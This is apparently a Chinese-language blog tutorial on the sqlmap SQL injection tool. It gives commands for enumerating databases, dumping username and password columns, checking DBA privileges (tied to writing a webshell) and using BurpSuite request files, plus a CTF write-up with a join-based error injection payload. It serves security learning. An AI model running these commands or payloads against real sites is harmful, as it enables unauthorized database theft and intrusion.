文章目录
- 一、sqlmap简介
- 二、使用步骤
- 1、注入
- 2、结合BurpSuite
- 1.post注入
- 2.用BurpSuite的log文件扫描
- 3、用户权限
- 三、CTF实例
- 2021全国大学生信息安全竞赛初赛Easy_sql
- 四、sqlmap思维导图
一、sqlmap简介
Sqlmap是开源的自动化SQL注入工具,由Python写成。
sqlmap支持五种不同的注入模式:
1、布尔盲注,即可以根据返回页面判断条件真假的注入。
2、时间盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
SQL注入参考
二、使用步骤
1、注入
检查注入点
sqlmap -u http://192.168.1.104/sql.php?id=11 --batch
爆所有数据库信息
sqlmap -u http://192.168.1.104/sql.php?id=11 --dbs --batch
爆当前数据库信息
sqlmap -u http://192.168.1.104/sql.php?id=11 --current-db --batch
列出指定数据库所有的表名
sqlmap -u http://192.168.1.104/sql.php?id=11 -D 数据库名 --tables --batch
列出指定表名的所有列名
sqlmap -u http://192.168.1.104/sql.php?id=11 -D 数据库名 -T 表名 --columns --batch
dump打印表名指定列名字段的值数据
sqlmap -u http://192.168.1.104/sql.php?id=11 -D 数据库名 -T 表名 -C name,password --dump --batch
‘name,password’ 为指定字段名称
-r REQUESTFILE 从文件加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookie,POST数据,等等)。
请求是 https 时需要配合–force-ssl参数来使用,或者可以在Host头后门加上:443
sqlmap -r request.txt --dbs --batch
-l LOGFILE 从Burp或者WebScarab代理日志文件中分析目标
–schema 枚举数据库架构
–dump-all 转储数据库所有表项
–batch
加batch能自动选择Yes
2、结合BurpSuite
1.post注入
(1)浏览器打开目标地址
(2)配置burp代理(127.0.0.1:8080)以拦截请求
(3)点击登录并提交表单
(4)Burp拦截到登录POST请求
(5)把这个post请求复制为txt, 命名为post.txt 然后放至sqlmap目录下
(6)运行sqlmap并使用如下命令:
sqlmap -r post.txt --dbs
2.用BurpSuite的log文件扫描
(1)记录Proxy的log并选择log路径
(2)关掉拦截并设置浏览器代理与BurpSuite一致
(3)对网站发请求
(4)使用sqlmap对log进行测试
sqlmap -l log1.txt --batch
3、用户权限
列出数据库管理系统用户
sqlmap -u http://192.168.1.104/sql.php?id=11 --users
查看当前连接数据库用户
sqlmap -u http://192.168.1.104/sql.php?id=11 --current-user
判断当前用户是否是DBA(数据库管理员)
sqlmap -u http://192.168.1.104/sql.php?id=11 --is-dba
–is-dba 这个命令有时候决定了是否可以在服务器下进行写的操作。
是否有写的权限,代表是否可以在服务器上面写入一句话木马。
–passwords 数据库密码
–proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
–time-sec= TIMESEC DBMS响应的延迟时间(默认为5秒)
–threads= 使用多少线程
三、CTF实例
2021全国大学生信息安全竞赛初赛Easy_sql
根据题目提示为SQL注入
登录界面任意输入admin /admin后Burp抓包
保存文本,post注入
sqlmap -r post.txt --dbs
得到数据库名security
sqlmap -r post.txt dump -D security
得到两个表users和flag
users表中内容为账户密码,flag中为空
任选账户登录出现login,若账户密码错误无回显
使用burp爆破功能,fuzz过滤参数发现无法通过注入代码获得列名
使用 join报错注入,通过已知表名注入
Payload:admin’) and (select *from(select * from flag as a join flag b using(id))c)#
依次爆破后续列名
发现第二列为no
Duplicate column name指重复的列名。
出现Duplicate column name错误,一般是sql语句查询的时候,出现了相同的列名。修改Payload :admin’) and (select * from(select * from flagas a join flag b using(id,no))c)#
得到第三列名
直接sqlmap获取指定字段即可
sqlmap -r “post.txt” –dump -C “9dcd9b90-2b03-463f-8b0d-9a149aa09807” -T flag -D security
四、sqlmap思维导图
本人主要使用CSDN,地址献上,请多多指教。